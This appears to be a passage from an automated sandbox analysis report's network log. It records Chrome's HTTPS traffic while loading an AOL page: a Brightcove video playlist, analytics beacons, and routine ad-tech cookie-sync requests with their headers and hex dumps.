2024-05-23 22:35:09 UTC	555	IN	Data Raw: 65 79 4a 68 62 47 63 69 4f 69 4a 53 55 7a 49 31 4e 69 4a 39 2e 65 79 4a 68 64 57 51 69 4f 6c 73 69 63 47 78 68 65 57 4a 68 59 32 73 75 59 58 42 70 4c 6d 4a 79 61 57 64 6f 64 47 4e 76 64 6d 55 75 59 32 39 74 49 6c 30 73 49 6d 46 6a 59 32 6c 6b 49 6a 6f 69 4e 6a 51 78 4e 54 59 32 4e 54 67 78 4e 54 41 77 4d 53 49 73 49 6e 42 72 61 57 51 69 4f 69 49 35 4d 6a 45 34 4e 44 4d 79 4d 43 30 34 5a 6d 59 7a 4c 54 51 31 5a 54 6b 74 59 6a 59 77 4d 43 30 35 4f 54 42 6d 4f 44 49 79 59 7a 67 32 4e 6a 63 69 4c 43 4a 6c 65 48 41 69 4f 6a 45 33 4d 54 59 31 4d 44 4d 35 4f 54 51 73 49 6d 6c 68 64 43 49 36 4d 54 63 78 4e 6a 55 77 4d 7a 59 35 4e 48 30 2e 75 48 6f 57 44 53 76 67 72 46 69 49 52 33 53 56 4c 75 42 36 45 6d 47 34 73 72 6b 5f 52 73 37 70 45 56 74 4e 55 32 70 4e 6e 4c Data Ascii: eyJhbGciOiJSUzI1NiJ9.eyJhdWQiOlsicGxheWJhY2suYXBpLmJyaWdodGNvdmUuY29tIl0sImFjY2lkIjoiNjQxNTY2NTgxNTAwMSIsInBraWQiOiI5MjE4NDMyMC04ZmYzLTQ1ZTktYjYwMC05OTBmODIyYzg2NjciLCJleHAiOjE3MTY1MDM5OTQsImlhdCI6MTcxNjUwMzY5NH0.uHoWDSvgrFiIR3SVLuB6EmG4srk_Rs7pEVtNU2pNnL
2024-05-23 22:35:09 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2024-05-23 22:35:09 UTC	6	IN	Data Raw: 31 36 37 65 0d 0a Data Ascii: 167e
2024-05-23 22:35:09 UTC	1371	IN	Data Raw: 22 2c 49 56 3d 30 78 36 36 37 61 39 37 39 61 32 65 64 38 30 32 65 61 63 30 37 61 64 31 61 35 31 35 32 61 35 32 35 65 0a 23 45 58 54 2d 58 2d 50 4c 41 59 4c 49 53 54 2d 54 59 50 45 3a 56 4f 44 0a 23 45 58 54 2d 58 2d 4d 45 44 49 41 2d 53 45 51 55 45 4e 43 45 3a 30 0a 23 45 58 54 2d 58 2d 54 41 52 47 45 54 44 55 52 41 54 49 4f 4e 3a 36 0a 23 45 58 54 49 4e 46 3a 36 2e 30 30 36 2c 0a 68 74 74 70 73 3a 2f 2f 62 63 62 6f 6c 74 34 34 36 63 35 32 37 31 2d 61 2e 61 6b 61 6d 61 69 68 64 2e 6e 65 74 2f 6d 65 64 69 61 2f 76 31 2f 68 6c 73 2f 76 34 2f 61 65 73 31 32 38 2f 36 34 31 35 36 36 35 38 31 35 30 30 31 2f 36 62 39 64 61 66 32 33 2d 34 62 64 65 2d 34 30 66 64 2d 38 36 34 39 2d 35 62 65 36 64 63 62 39 36 39 31 65 2f 30 38 61 61 62 33 34 35 2d 61 37 61 30 2d 34 Data Ascii: ",IV=0x667a979a2ed802eac07ad1a5152a525e#EXT-X-PLAYLIST-TYPE:VOD#EXT-X-MEDIA-SEQUENCE:0#EXT-X-TARGETDURATION:6#EXTINF:6.006,https://bcbolt446c5271-a.akamaihd.net/media/v1/hls/v4/aes128/6415665815001/6b9daf23-4bde-40fd-8649-5be6dcb9691e/08aab345-a7a0-4
2024-05-23 22:35:09 UTC	1371	IN	Data Raw: 31 65 2f 30 38 61 61 62 33 34 35 2d 61 37 61 30 2d 34 37 35 31 2d 39 37 62 33 2d 35 63 30 39 38 34 66 37 34 38 34 30 2f 30 34 63 64 30 31 39 36 2d 35 63 65 31 2d 34 33 31 36 2d 61 64 31 35 2d 65 39 37 35 66 66 36 30 35 61 30 38 2f 2a 7e 68 6d 61 63 3d 32 35 37 32 38 31 62 61 34 37 61 61 64 30 36 39 31 32 62 34 33 63 62 66 34 31 39 62 30 39 66 36 34 66 61 31 61 64 32 32 66 33 62 66 36 66 66 63 30 33 64 31 36 66 38 61 35 33 63 39 37 39 36 62 0a 23 45 58 54 49 4e 46 3a 36 2e 30 30 36 2c 0a 68 74 74 70 73 3a 2f 2f 62 63 62 6f 6c 74 34 34 36 63 35 32 37 31 2d 61 2e 61 6b 61 6d 61 69 68 64 2e 6e 65 74 2f 6d 65 64 69 61 2f 76 31 2f 68 6c 73 2f 76 34 2f 61 65 73 31 32 38 2f 36 34 31 35 36 36 35 38 31 35 30 30 31 2f 36 62 39 64 61 66 32 33 2d 34 62 64 65 2d 34 30 Data Ascii: 1e/08aab345-a7a0-4751-97b3-5c0984f74840/04cd0196-5ce1-4316-ad15-e975ff605a08/*~hmac=257281ba47aad06912b43cbf419b09f64fa1ad22f3bf6ffc03d16f8a53c9796b#EXTINF:6.006,https://bcbolt446c5271-a.akamaihd.net/media/v1/hls/v4/aes128/6415665815001/6b9daf23-4bde-40
2024-05-23 22:35:09 UTC	1371	IN	Data Raw: 31 2f 36 62 39 64 61 66 32 33 2d 34 62 64 65 2d 34 30 66 64 2d 38 36 34 39 2d 35 62 65 36 64 63 62 39 36 39 31 65 2f 30 38 61 61 62 33 34 35 2d 61 37 61 30 2d 34 37 35 31 2d 39 37 62 33 2d 35 63 30 39 38 34 66 37 34 38 34 30 2f 30 34 63 64 30 31 39 36 2d 35 63 65 31 2d 34 33 31 36 2d 61 64 31 35 2d 65 39 37 35 66 66 36 30 35 61 30 38 2f 2a 7e 68 6d 61 63 3d 32 35 37 32 38 31 62 61 34 37 61 61 64 30 36 39 31 32 62 34 33 63 62 66 34 31 39 62 30 39 66 36 34 66 61 31 61 64 32 32 66 33 62 66 36 66 66 63 30 33 64 31 36 66 38 61 35 33 63 39 37 39 36 62 0a 23 45 58 54 49 4e 46 3a 36 2e 30 30 36 2c 0a 68 74 74 70 73 3a 2f 2f 62 63 62 6f 6c 74 34 34 36 63 35 32 37 31 2d 61 2e 61 6b 61 6d 61 69 68 64 2e 6e 65 74 2f 6d 65 64 69 61 2f 76 31 2f 68 6c 73 2f 76 34 2f 61 Data Ascii: 1/6b9daf23-4bde-40fd-8649-5be6dcb9691e/08aab345-a7a0-4751-97b3-5c0984f74840/04cd0196-5ce1-4316-ad15-e975ff605a08/*~hmac=257281ba47aad06912b43cbf419b09f64fa1ad22f3bf6ffc03d16f8a53c9796b#EXTINF:6.006,https://bcbolt446c5271-a.akamaihd.net/media/v1/hls/v4/a

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
538	192.168.2.6	50354	54.146.53.134	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:09 UTC	1086	OUT	GET /sync?nid=114&gdpr=0&gdpr_consent=&gpp=DBAA&gpp_sid= HTTP/1.1 Host: sync.srv.stackadapt.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: sa-user-id=s%3A0-c03462dd-8d57-5ae7-6dc9-e73928abe3ee.cC1n3zDyhdfUajg1KrKz%2FEnduQyH5exIiG0vveKiBJ0; sa-user-id=s%3A0-c03462dd-8d57-5ae7-6dc9-e73928abe3ee.cC1n3zDyhdfUajg1KrKz%2FEnduQyH5exIiG0vveKiBJ0; sa-user-id-v2=s%3AwDRi3Y1XWudtyec5KKvj7ggue68.1BtdFXujCU3EjthsQO1J%2BECW%2FD5g81GrEa24jcaxRBo; sa-user-id-v2=s%3AwDRi3Y1XWudtyec5KKvj7ggue68.1BtdFXujCU3EjthsQO1J%2BECW%2FD5g81GrEa24jcaxRBo; sa-user-id-v3=s%3AAQAKICWK7ROb07V9PmEn2vVZdbPEAOAQWut3_axX1l4WbhH3EHwYBCCQib-yBjABOgT87-jmQgTyVnXP.E45gq9hya5Nv1NRfp5pA0NcenT6KPMIL4Fw9pUjGZxY; sa-user-id-v3=s%3AAQAKICWK7ROb07V9PmEn2vVZdbPEAOAQWut3_axX1l4WbhH3EHwYBCCQib-yBjABOgT87-jmQgTyVnXP.E45gq9hya5Nv1NRfp5pA0NcenT6KPMIL4Fw9pUjGZxY
2024-05-23 22:35:09 UTC	120	IN	HTTP/1.1 200 OK Content-Type: image/gif Date: Thu, 23 May 2024 22:35:09 GMT Content-Length: 43 Connection: Close
2024-05-23 22:35:09 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 f0 00 00 00 00 00 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
539	192.168.2.6	50350	35.244.232.184	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:09 UTC	2026	OUT	GET /v2/tracker?domain=videocloud&platform=video-js&session=ae6004ed28cb4850ed7f9cd6&account=6415665815001&destination=https%3A%2F%2Fwww.aol.com%2F&platform_version=7.17.2&player=players.brightcove.com%2F6415665815001%2FLJKY1s7eB_default&player_name=EVPlayer%3A1.6&autoplay=false&ads_enabled=false&delivery_type=ondemand&media_type=video&time=1716503699269&event=video_impression&video=6353510307112&video_name=3%20Things%20to%20Know%3A%20Graceland%2C%20Prince%20William%2C%20Barrymore&reference_id=42b897a6-9771-3329-b351-69a701a77438&custom_fields=&video_data=&video_ads_supported=true&&video_duration=68&media_url=https%3A%2F%2Fmanifest.prod.boltdns.net%2Fmanifest%2Fv1%2Fhls%2Fv4%2Faes128%2F6415665815001%2F6b9daf23-4bde-40fd-8649-5be6dcb9691e%2F6s%2Fmaster.m3u8%3Ffastly_token%3DNjY0ZmQyYTRfNWNiMTk1ODk1ZjEzZTI4MWM2NzRhYTliNGI1ZTZiZWJiYmI1MjIzNThkNmVlY2FiNDI5ZWZjYjE3ZWFjYTJlZg%253D%253D%26bcov_auth%3DeyJhbGciOiJSUzI1NiJ9.eyJhdWQiOlsicGxheWJhY2suYXBpLmJyaWdodGNvdmUuY29tIl0sImFjY2lkIjoiNjQxNTY2NTgxNTAwMSIsInBraWQiOiI5 [TRUNCATED] Host: metrics.brightcove.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:35:09 UTC	463	IN	HTTP/1.1 200 OK content-length: 35 content-type: image/gif cache-control: must-revalidate,no-cache,no-store Strict-Transport-Security: max-age=300; includeSubDomains Access-Control-Allow-Origin: * Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept, Authorization Access-Control-Allow-Methods: GET Date: Thu, 23 May 2024 22:35:09 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-05-23 22:35:09 UTC	35	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
540	192.168.2.6	50349	198.47.127.20	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:09 UTC	2002	OUT	GET /AdServer/SPug?partnerID=0&gdpr=0&gdpr_consent=&us_privacy=1YNN HTTP/1.1 Host: simage4.pubmatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: KADUSERCOOKIE=BD0DE19C-09D4-4B62-A188-46A0D2E6C177; DPSync3=1717632000%3A219_197_201_245_241_227_226; KRTBCOOKIE_377=6810-8369ae03-bf51-422b-a15c-33306b0e1dfe&KRTB&22918-8369ae03-bf51-422b-a15c-33306b0e1dfe&KRTB&22926-8369ae03-bf51-422b-a15c-33306b0e1dfe&KRTB&23031-8369ae03-bf51-422b-a15c-33306b0e1dfe; KRTBCOOKIE_57=22776-9165965397510453586&KRTB&23339-9165965397510453586; KRTBCOOKIE_153=19420-JqKacnOglyE9pZx2JaKDJ3GmnSM9o5dyJfJK98f9&KRTB&23462-JqKacnOglyE9pZx2JaKDJ3GmnSM9o5dyJfJK98f9; KRTBCOOKIE_80=22987-CAESEO5FZOJv3zXMMW5oDLBIMAE&KRTB&23025-CAESEO5FZOJv3zXMMW5oDLBIMAE&KRTB&23386-CAESEO5FZOJv3zXMMW5oDLBIMAE; SPugT=1716503705; chkChromeAb67Sec=3; pi=133799:4; SyncRTB3=1717286400%3A63%7C1719014400%3A203%7C1717632000%3A22_166_13_264_21_56_251_55_54_46_165_220_266_8_234_71_254_3_214_233%7C1717027200%3A2_15_223%7C1721606400%3A69%7C1717718400%3A35; KRTBCOOKIE_860=16335-wDRi3Y1XWudtyec5KKvj7ggue68&KRTB&23334-wDRi3Y1XWudtyec5KKvj7ggue68&KRTB&23417-wDRi3Y1XWudtyec5KKvj7ggue68&KRTB&23426-wDRi3Y1XWudtyec5KKvj7 [TRUNCATED]
2024-05-23 22:35:09 UTC	408	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 23 May 2024 22:35:08 GMT Transfer-Encoding: chunked Connection: close Set-Cookie: SPugT=1716503708; domain=pubmatic.com; SameSite=None; secure; expires=Sat, 22-Jun-2024 22:35:08 GMT; path=/ P3P: CP="NOI DSP COR LAW CUR ADMo DEVo TAIo PSAo PSDo IVAo IVDo HISo OTPo OUR SAMo BUS UNI COM NAV INT DEM CNT STA PRE LOC" Cache-Control: no-store, no-cache, private
2024-05-23 22:35:09 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
541	192.168.2.6	50355	34.255.48.153	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:09 UTC	716	OUT	GET /cookie-sync/pm?gdpr=0&gdpr_consent= HTTP/1.1 Host: match.prod.bidr.io Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:35:09 UTC	388	IN	HTTP/1.1 303 See Other Date: Thu, 23 May 2024 22:35:09 GMT location: https://match.prod.bidr.io/cookie-sync/pm?gdpr=0&gdpr_consent=&_bee_ppp=1 Server: gunicorn set-cookie: checkForPermission=ok; Domain=bidr.io; expires=Thu, 23 May 2024 22:45:09 GMT; Path=/; SameSite=None; Secure strict-transport-security: max-age=2592000; includeSubDomains Content-Length: 0 Connection: Close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
542	192.168.2.6	50353	3.71.149.231	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:09 UTC	790	OUT	GET /ups/58831/sync?format=json&gdpr=false&gdpr_consent=&gpp=DBAA&gpp_sid=-1&us_privacy=1YNN HTTP/1.1 Host: ups.analytics.yahoo.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8; A1=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8; A1S=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8; IDSYNC="19cw~2ila:19e0~2ila:18z8~2ila:19ea~2ila"
2024-05-23 22:35:09 UTC	475	IN	HTTP/1.1 200 OK Date: Thu, 23 May 2024 22:35:09 GMT Content-Type: application/json Strict-Transport-Security: max-age=31536000 Set-Cookie: IDSYNC="19cw~2ila:19e0~2ila:18z8~2ila:19ea~2ila:19e7~2ila";Version=1;Domain=.analytics.yahoo.com;Path=/;Max-Age=31536000;Expires=Fri, 23-May-2025 22:35:09 GMT;Secure;SameSite=None P3P: CP=NOI DSP COR LAW CURa DEVa TAIa PSAa PSDa OUR BUS UNI COM NAV Age: 0 Transfer-Encoding: chunked Connection: close Server: ATS/9.1.10.112
2024-05-23 22:35:09 UTC	54	IN	Data Raw: 33 30 0d 0a 7b 22 61 78 69 64 22 3a 20 22 79 2d 51 31 61 6e 6c 4a 70 45 32 75 4c 4e 58 76 6f 67 39 63 58 76 48 6e 65 32 36 6d 78 39 4c 6a 32 64 7e 41 22 7d 0d 0a Data Ascii: 30{"axid": "y-Q1anlJpE2uLNXvog9cXvHne26mx9Lj2d~A"}
2024-05-23 22:35:09 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
543	192.168.2.6	50220	208.93.169.131	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:10 UTC	123	IN	HTTP/1.1 408 Request Time-out Content-length: 110 Cache-Control: no-cache Connection: close Content-Type: text/html
2024-05-23 22:35:10 UTC	110	IN	Data Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 68 31 3e 34 30 38 20 52 65 71 75 65 73 74 20 54 69 6d 65 2d 6f 75 74 3c 2f 68 31 3e 0a 59 6f 75 72 20 62 72 6f 77 73 65 72 20 64 69 64 6e 27 74 20 73 65 6e 64 20 61 20 63 6f 6d 70 6c 65 74 65 20 72 65 71 75 65 73 74 20 69 6e 20 74 69 6d 65 2e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><body><h1>408 Request Time-out</h1>Your browser didn't send a complete request in time.</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
544	192.168.2.6	50348	3.121.157.160	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:10 UTC	632	OUT	GET /sync?ssp=medianet&ssp_user_id=3595052986404735000V10 HTTP/1.1 Host: rtb.mfadsrvr.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://contextual.media.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:35:10 UTC	647	IN	HTTP/1.1 302 Moved Temporarily Cache-Control: no-cache, no-store, must-revalidate Date: Thu, 23 May 2024 22:35:10 GMT Location: https://rtb.mfadsrvr.com/ul_cb/sync?ssp=medianet&ssp_user_id=3595052986404735000V10 Set-Cookie: tuuid=064dd624-3223-4a30-af5d-c38630257b17; path=/; expires=Fri, 23-May-2025 22:35:10 GMT; domain=.mfadsrvr.com; samesite=none; secure Set-Cookie: c=1716503710; path=/; expires=Fri, 23-May-2025 22:35:10 GMT; domain=.mfadsrvr.com; samesite=none; secure Set-Cookie: tuuid_lu=1716503710; path=/; expires=Fri, 23-May-2025 22:35:10 GMT; domain=.mfadsrvr.com; samesite=none; secure Content-Length: 0 Connection: Close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
545	192.168.2.6	50351	34.247.233.198	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:10 UTC	455	OUT	GET /usersync?b=zem&i=Ldu6nP-f8GRn9WiN8PL4&gdpr=0&us_privacy=1YNN HTTP/1.1 Host: usersync.gumgum.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: vst=e_12ea1dd2-77f0-49d8-8aef-90768e12d7ac
2024-05-23 22:35:10 UTC	210	IN	HTTP/1.1 200 Date: Thu, 23 May 2024 22:35:10 GMT Content-Type: image/gif Content-Length: 35 Connection: close Cache-Control: private, no-store, must-revalidate, max-age=0 Expires: 0 Pragma: no-cache
2024-05-23 22:35:10 UTC	35	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
546	192.168.2.6	50356	35.204.158.49	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:10 UTC	873	OUT	GET /pm_match?https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZqcz0xJmNvZGU9MjkzNiZ0bD00MzIwMA==&piggybackCookie=uid:$UID&gdpr=0&gdpr_consent= HTTP/1.1 Host: um.simpli.fi Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: suid=C3E3B1BC7A434D6BB70BF025F9AF69E8
2024-05-23 22:35:10 UTC	723	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Thu, 23 May 2024 22:35:10 GMT Content-Type: text/html Content-Length: 142 Connection: close Location: https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZqcz0xJmNvZGU9MjkzNiZ0bD00MzIwMA==&piggybackCookie=uid:C3E3B1BC7A434D6BB70BF025F9AF69E8&gdpr=0&gdpr_consent= Expires: Wed, 22 May 2024 22:35:10 GMT Cache-Control: no-cache Strict-Transport-Security: max-age=63072000; includeSubdomains; preload X-Content-Type-Options: nosniff Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Allow-Headers: DNT,X-Mx-ReqToken,Keep-Alive,User-Agent,X-Requested-With,If-Modified-Since,Cache-Control,Content-Type
2024-05-23 22:35:10 UTC	142	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
547	192.168.2.6	50378	151.101.129.44	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:10 UTC	515	OUT	GET /libtrc/tr5?abgroup=trecs-yahoo-2_var-bridge HTTP/1.1 Host: cdn.taboola.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: abLdr=21; t_gid=e0f330c0-9211-4554-a7eb-a08a7a35420f-tuctd494a14; t_pt_gid=e0f330c0-9211-4554-a7eb-a08a7a35420f-tuctd494a14
2024-05-23 22:35:10 UTC	370	IN	HTTP/1.1 200 OK Connection: close Content-Length: 3 Server: Varnish Retry-After: 0 Content-Type: text/html Accept-Ranges: bytes Date: Thu, 23 May 2024 22:35:10 GMT Via: 1.1 varnish X-Served-By: cache-nyc-kteb1890099-NYC X-Cache: HIT X-Cache-Hits: 0 X-Timer: S1716503710.451922,VS0,VE0 Cache-Control: private,max-age=14400 Access-Control-Allow-Origin: *
2024-05-23 22:35:10 UTC	3	IN	Data Raw: 6c 6c 3b Data Ascii: ll;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
548	192.168.2.6	50359	172.67.40.173	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:10 UTC	479	OUT	GET /mw?zpartnerid=1384&env=mWeb&gdpr=0&gdpr_consent=&cid=BD0DE19C-09D4-4B62-A188-46A0D2E6C177 HTTP/1.1 Host: mwzeom.zeotap.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: zc=3c586e8a-00b9-440a-7eed-0404968c85c6
2024-05-23 22:35:10 UTC	431	IN	HTTP/1.1 403 Forbidden Date: Thu, 23 May 2024 22:35:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Frame-Options: SAMEORIGIN Referrer-Policy: same-origin Cache-Control: max-age=15 Expires: Thu, 23 May 2024 22:35:25 GMT Strict-Transport-Security: max-age=2592000; includeSubDomains; preload X-Content-Type-Options: nosniff Server: cloudflare CF-RAY: 8888847e5d6a72a7-EWR
2024-05-23 22:35:10 UTC	938	IN	Data Raw: 31 35 66 65 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 